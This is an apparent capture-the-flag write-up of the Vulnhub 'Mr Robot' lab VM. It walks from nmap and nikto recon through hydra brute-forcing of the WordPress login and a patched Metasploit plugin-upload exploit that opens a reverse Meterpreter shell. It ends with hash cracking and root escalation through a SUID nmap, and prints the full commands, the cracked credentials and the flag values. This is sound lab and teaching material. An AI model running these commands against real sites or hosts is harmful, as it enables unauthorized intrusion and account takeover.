Mr robot

Welcome to another Vulnhub writeup. This time we’ll work with Mr Robot:

Based on the show, Mr. Robot. This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find. The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

Recon

Without further addo let’s go with some standard recon things:

# nmap 192.168.0.105 -p- -sT -sV -O

Starting Nmap 7.50 ( https://nmap.org ) at 2017-09-11 12:16 EDT
Nmap scan report for 192.168.0.105
Host is up (0.00076s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
MAC Address: 08:00:27:CF:60:28 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
Network Distance: 1 hop

So, there seems to be some HTTP server up. Browsing didn’t give up much. It just looks like some ‘Mr. Robot’ meta-commercial. So I decide to do more insightful HTTP scan:

# nikto -host 192.168.0.105
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.105
+ Target Hostname:    192.168.0.105
+ Target Port:        80
+ Start Time:         2017-09-11 12:51:44 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
	+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.0.105/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2017-09-11 12:58:25 (GMT-4) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Flag 1

So, there seems to be some wordpress intalation working. We’ll get right to that just after we check out the robots.txt file:

User-agent: *
fsocity.dic
key-1-of-3.txt

Bingo! Opening key-1-of-3.txt file give us the first flag:

073403c8a58a1f80d943455fb30724b9

Flag 2

Another interesting file revealed by robots.txt file is named fsocity.dic and it seems to be kind of dictionary. Unfortunatetly it’s full of double entries, so we need to clean it up:

# wget http://192.168.0.105/fsocity.dic
# sort fsocity.dic | uniq > fsocity.uniq.dic
# wc -l fsocity.dic 
858160 fsocity.dic
# wc -l fsocity.uniq.dic 
11451 fsocity.uniq.dic

Filtered dictionary is roughly only 1% of original file. That should radically shorten amount of time needed for enumeration.

But what to enumerate? Let’s give a go a standard wp-login form. Worpress login page is kind enough to tell us if we got the username right, so we can split the enumeration in two stages to further decrease number of combinations. First we go with login enumeration with any, constant password:

# hydra -L fsocity.uniq.dic -p dupa 192.168.0.105 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.105%2Fwp-admin%2F&testcookie=1:Invalid username"Hydra

[80][http-post-form] host: 192.168.0.105   login: elliot   password: dupa
[80][http-post-form] host: 192.168.0.105   login: Elliot   password: dupa
[80][http-post-form] host: 192.168.0.105   login: ELLIOT   password: dupa
[STATUS] 454.85 tries/min, 9097 tries in 00:20h, 2355 to do in 00:06h, 16 active
1 of 1 target successfully completed, 3 valid passwords found

Now, that we know the login, we can hardcode it and enumerate the password:

hydra -l elliot -P fsocity.uniq.dic 192.168.0.102 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.0.102%2Fwp-admin%2F&testcookie=1:incorrect"

[STATUS] 709.00 tries/min, 709 tries in 00:01h, 10743 to do in 00:16h, 16 active
[STATUS] 705.00 tries/min, 2115 tries in 00:03h, 9337 to do in 00:14h, 16 active
[STATUS] 702.29 tries/min, 4916 tries in 00:07h, 6536 to do in 00:10h, 16 active
[80][http-post-form] host: 192.168.0.105   login: elliot   password: ER28-0652
1 of 1 target successfully completed, 1 valid password found

As we can see the credentials to wordpress installation are the following:

elliot:ER28-0652

Having admin rights on Wordpress gives us plenty of possibilities to escalate the attack. I’m feeling kinda lazy so I decide to use preprepared solution from Metasploit:

msfconsole -q
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > info

       Name: WordPress Admin Shell Upload
     Module: exploit/unix/webapp/wp_admin_shell_upload
   Platform: PHP
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-02-21

Provided by:
  Rob Carr <rob@rastating.com>

Available targets:
  Id  Name
  --  ----
  0   WordPress

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  PASSWORD   ER28-0652        yes       The WordPress password to authenticate with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST      192.168.0.105    yes       The target address
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  USERNAME   elliot           yes       The WordPress username to authenticate with
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module will generate a plugin, pack the payload into it and 
  upload it to a server running WordPress providing valid admin 
  credentials are used.

Unfortunately my first attempts to attack ended in error:

'The target does not appear to be using WordPress'

Just because I know target uses WordPress, I decide to comment out the line throwing the exception from the exploit:

fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

Surprisingly enough this worked. I’m not sure if it was some script-kiddie precaution or the WordPress installation was not standard.

Above tweak wasn’t enough though. The exploit did authenticate in WordPress but failed to upload a payload with error:

Unexpected reply error : Failed to upload the payload.

I look up the place in code where the exception is thrown:

res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => wordpress_url_admin_update,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s,
      'cookie'    => cookie,
      'vars_get'  => { 'action' => 'upload-plugin' }
    )

    if res && res.code == 200
      vprint_status("Uploaded plugin #{name}")
      return true
    else
      vprint_error("Server responded with code #{res.code}") if res
      vprint_error("Failed to upload plugin #{name}")
      return false
    end

According to code where the exception is thrown, the exploit should also print out the status code, but it doesn’t… unless there isn’t any reply at all. Timeout? Let’s check out:

msf exploit(wp_admin_shell_upload) > set HttpClientTimeout 300
msf exploit(wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.0.10:4444 
[*] Authenticating with WordPress using elliot:ER28-0652...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/XNNqYnXTer/QRrAPGncgf.php...
[*] Sending stage (33986 bytes) to 192.168.0.105
[*] Meterpreter session 1 opened (192.168.0.10:4444 -> 192.168.0.105:43825) at 2017-09-19 13:58:15 -0400

Bingo! Let’s poke around in shell:

shell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:

cat /etc/shadow
cat: /etc/shadow: Permission denied

No surprises here. We could list users but not passwords. That’d be too easy. But what is in home dir?

cd /home
ls
robot
cd robot
ls -al
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

So we’ve found a file with a flag but it can be read only by a ‘robot’ user. That shouldn’t be a problem since we were also given a readable file with (hashed) robot password:

cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Using any online rainbow table we find out that credentials are:

robot:abcdefghijklmnopqrstuvwxyz

Now we need to spawn a shell with TTY to be able to su the ‘robot’ user:

/bin/sh -i
/bin/sh: 0: can't access tty; job control turned off

Simple solution didn’t work, how about more sophisticated?


python -c 'import pty; pty.spawn("/bin/sh")'
$ su - robot
Password: abcdefghijklmnopqrstuvwxyz
$ whoami
robot
$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

Flag 3

Now it is time to get root. How can we do that? For starters lets try to find out application with SUID and owned by root:

$ find / -user root -perm -4000 2> /dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

As we can see there’s nmap application. We can use it spawn shell with root privileges:

$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root

Yay! We have root. Last thing to do: find a flag. Since we could establish a pattern how the flag files are named let’s just try to find it:

$ find / -name key-3-of-3.txt
/root/key-3-of-3.txt
$ cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Summary

That’s all folks! We have all three keys and root on victim machine. I hope you enjoyed this writeup. If you have any questions shoot me in the comment section, I’ll try my best to answer :)

Flags

073403c8a58a1f80d943455fb30724b9 822c73956184f694993bede3eb39f959 04787ddef27c3dee1ee161b21670b4e4

Written on September 20, 2017